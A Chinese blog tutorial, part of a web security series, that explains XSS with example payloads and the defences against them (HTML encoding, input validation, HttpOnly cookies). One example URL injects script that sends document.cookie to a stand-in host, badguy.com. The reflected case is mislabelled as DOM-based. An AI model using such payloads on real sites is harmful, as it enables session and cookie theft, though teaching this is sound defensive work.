详解Web应用安全系列(2)注入漏洞之XSS攻击

web,xss · 浏览次数 : 0

小编点评

本文介绍了另一种常见的Web应用漏洞——XSS跨站脚本攻击。XSS攻击是指攻击者在网页中嵌入恶意客户端脚本,当用户浏览此网页时,脚本会在用户的浏览器上执行,从而达到攻击者的目的,如获取用户的Cookie、导航到恶意网站、携带木马等。 XSS攻击有两种场景: 1. DOM-Based XSS:攻击者直接将攻击脚本嵌入到用户的页面中,影响到当前用户。例如,黑客发现某个网站存在XSS漏洞,通过在搜索框中输入攻击脚本,当用户访问该页面时,攻击脚本会在用户的浏览器中执行,从而盗取用户的Cookie信息。 2. Stored XSS:攻击者将攻击脚本上传到Web服务器,使得所有访问该页面的用户都面临信息泄露的可能。例如,黑客发现某个网站存在XSS漏洞,通过在文章中嵌入恶意JavaScript脚本,当其他用户访问该文章时,嵌入在文章中的恶意JavaScript脚本会在用户的浏览器中执行,从而导致用户信息被盗取。 防范XSS攻击的措施包括: 1. 对用户的输入进行转义再输出到页面,例如使用System.Net.WebUtility.HtmlEncode(string)进行HTML编码。 2. 对用户的输入进行校验,只允许用户输入预期的数据。 3. 将重要的cookie标记为http only,以防止通过JavaScript的document.cookie获取用户的Cookie信息。 另外,本文还提供了一个支持免费申请通配符SSL证书的平台——华迅FreeCert,解决了传统云厂商提供的免费证书有效期短和不支持免费申请通配符证书的问题。欢迎大家注册使用并提供宝贵意见。

正文

上一篇介绍了SQL注入漏洞,今天我们来介绍另一个注入漏洞,即XSS跨站脚本攻击。XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web应用中常见的漏洞。指攻击者在网页中嵌入客户端脚本(一般是JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. ,比如获取用户的Cookie,导航到恶意网站,携带木马等。

认识XSS攻击

XSS攻击这个名词听起来挺专业的,那么它是如何发生的呢?
假如某个页面的表单中有下面这样一个textbox
<input type="text" name="address1" value="value1from">
value1from是来自用户的输入,如果用户不是输入value1from,而是输入
"/><script>alert(document.cookie)</script><!-
那么页面上的textbox就变成下面这个样子了。
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

因为注释符后面的内容被忽略了,所以上面的代码等价于:

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script>

此时嵌入的JavaScript代码就会执行,页面会出来一个弹窗,将用户的cookie信息打印出来。

当然上面这个例子看起来没有什么危害,但在实际的攻击事件中,黑客可能将您的cookie发送到他的网站中,从面达到盗取用户cookie的目的。
 

XSS攻击的两种场景

1,DOM-Based XSS

DOM-Based顾名思义是直接嵌入攻击脚本到用户的页面中,并且受到影响的是当前用户。
比如黑客发现了某个网站中的某个页面存在XSS攻击漏洞,页面地址是:
http://victim.com/search.asp?term=apple

可以看到页面接受一个叫term的QueryString参数,search.asp页面代码可能是这样的。

<html>
  <title></title>
  <body>
    Results  for  <%Request.QueryString("term")%>
    ...
  </body>
</html>

黑客创建了一个网站用来接收盗取来的信息,然后通过注入攻击的脚本到这个请求的url中,然后url可能变成这样。

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

当黑客访问这个url后,攻击脚本就会嵌入到用户的浏览器中,search.asp页面就会变成下面这样子。

<html>
  <title></title>
  <body>
    Results  for  <script>window.open("http://badguy.com?cookie="+document.cookie)</script>
    ...
  </body>
</html>

看到了吗,XSS攻击脚本成功嵌入到用户的浏览器中了,那么当用户再访问这个页面时,攻击脚本就会将用户的cookie信息发送到他的网站,也就达到盗取用户的信息的目的了。

 

2,Stored XSS

Stored XSS即存储式XSS漏洞,这种攻击可能比上面这一种危害更大,攻击者将攻击脚本上传到web服务器,使得所有访问该页面的用户都面临信息泄露的可能。
Stored XSS的攻击过程如下:
首先是黑客发现了系统某个页面存在XSS漏洞,且该漏洞允许将攻击代码保存到数据库中。
然后黑客就发布了一篇文章,并且在文章中嵌入了恶意JavaScript脚本。
那么当其它用户访问到这篇文章的时候,嵌入在文章中的恶意JavaScript脚本就会在用户的浏览器中执行,那么用户的信息可能就会被盗取。
 

防范措施

1,对用户的输入进行转义再输出到页面

比如上面的例子:
<html>
  <title></title>
  <body>
    Results  for  <%Request.QueryString("term")%>
    ...
  </body>
</html>

由于.net已经内置了HTML编码的工具类,可以使用System.Net.WebUtility.HtmlEncode(string)进行HTML编码,优化后:

<html>
  <title></title>
  <body>
    Results  for  <%HtmlEncode(Request.QueryString("term"))%>
    ...
  </body>
</html>

如果遇到XSS攻击,黑客输入term=,最终经过HTML编码后页面是这样子的:

<html>
  <title></title>
  <body>
    Results  for  &lt;script&gt;window.open(&quot;http://badguy.com?cookie=&quot;+document.cookie)&lt;/script&gt;
    ...
  </body>
</html>

可以看到,特殊字符都已经过转义了,那么嵌入的Javascript脚本也就无法执行了。

 

2,对用户的输入进行校验

意思是说只允许用户输入预期的数据,例如年龄的textbox中,只允许输入数字,而数字之外的字符都过滤掉,这样也就限制了黑客进行XSS攻击的可能。
 

3,将重要的cookie标记为http only

将重要的cookie标记为http only,那么通过JavaScript的document.cookie也就无法获取到用户的cookie了。
 
另外,我最近开发并开源了一个支持免费申请通配符SSL证书的平台:华迅FreeCert,解决了每隔一段时间就要重新申请和部署证书(因为传统的云厂商提供的免费证书一般只有三个月有效期),不支持免费申请通配符证书这两大痛点,欢迎大家注册使用并提供宝贵意见,谢谢!
 

与详解Web应用安全系列(2)注入漏洞之XSS攻击相似的内容:

详解Web应用安全系列(2)注入漏洞之XSS攻击

上一篇介绍了SQL注入漏洞,今天我们来介绍另一个注入漏洞,即XSS跨站脚本攻击。XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web应用中常见的漏洞。指攻击者在网页中嵌入客户端脚本(一般是JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到

详解Web应用安全系列(8)不足的日志记录和监控

在Web安全领域,不足的日志记录和监控是一个重要的安全隐患,它可能导致攻击者能够更隐蔽地进行攻击,同时增加了攻击被检测和响应的难度。以下是对Web攻击中不足的日志记录和监控漏洞的详细介绍。 一、日志记录不足的问题 日志缺失或不完整 关键操作未记录:如用户登录、敏感数据访问、系统管理员操作等关键操作未

详解Web应用安全系列(5)敏感数据泄露漏洞

在最近几年,这是最常见的,最具影响力的攻击。这个领域最常见的漏洞是不对敏感数据进行加密。在数据加密过程中,常见的问题是不安全的密钥生成和管理以及使用弱密码算法,弱协议和弱密码。特别是使用弱的哈希算法来保护密码。在服务端,检测数据传输过程中的数据弱点很容易,但检测存储数据的弱点却非常困难。 敏感数据泄

详解Web应用安全系列(4)失效的访问控制

在Web安全中,失效的访问控制(也称为权限控制失效或越权访问)是指用户在不具备相应权限的情况下访问了受限制的资源或执行了不允许的操作。这通常是由于Web应用系统未能建立合理的权限控制机制,或者权限控制机制失效所导致的。 危害 数据泄漏:攻击者可能通过越权访问获取敏感数据,如用户个人信息、财务数据、家

详解Web应用安全系列(3)失效的身份认证

大多数身份和访问管理系统的设计和实现,普遍存在身份认证失效的问题。会话管理是身份验证和访问控制的基础,并且存在于所有有状态的应用程序中。攻击者可以使用指南手册来检测失效的身份认证,但通常会关注密码转储,字典攻击,或者在类似于钓鱼或社会工程攻击之后,发现失效的身份认证。 确认用户的身份,身份验证和会话

详解Web应用安全系列(1)注入漏洞之SQL注入

注入漏洞通常是指在可输入参数的地方,通过构造恶意代码,进而威胁应用安全和数据库安全。常见的注入漏洞包括:SQL注入和XSS跨站脚本攻击。 这篇文章我们主要讲SQL注入,SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加

详解Web应用安全系列(6)安全配置错误

Web攻击中的安全配置错误漏洞是一个重要的安全问题,它涉及到对应用程序、框架、应用程序服务器、Web服务器、数据库服务器等组件的安全配置不当。这类漏洞往往由于配置过程中的疏忽或错误,使得攻击者能够未经授权地访问系统数据或执行系统功能。 安全配置错误类漏洞是指在对Web应用及相关组件进行安全配置时,由

创建nodejs项目并接入mysql,完成用户相关的增删改查的详细操作

本文为博主原创,转载请注明出处: 1.使用npm进行初始化 在本地创建项目的文件夹名称,如 node_test,并在该文件夹下进行黑窗口执行初始化命令 2. 安装 expres包和myslq依赖包 npm i express@4.17.1 mysql2@2.2.5 Express是一个流行的Web应

Python Flask - 快速构建Web应用详解

本文将详细探讨Python Flask Web服务。我将首先简单介绍Flask,然后将逐步进入Flask中的路由、模板、表单处理以及数据库集成等高级概念,目标是能够让大家了解并掌握使用Flask来创建动态Web应用的技巧。 ## 1. Flask简介 Flask是一个轻量级的Web服务器网关接口(W

谈谈 Spring 的过滤器和拦截器

我们在进行 Web 应用开发时,时常需要对请求进行拦截或处理,故 Spring 为我们提供了过滤器和拦截器来应对这种情况。那么两者之间有什么不同呢?本文将详细讲解两者的区别和对应的使用场景。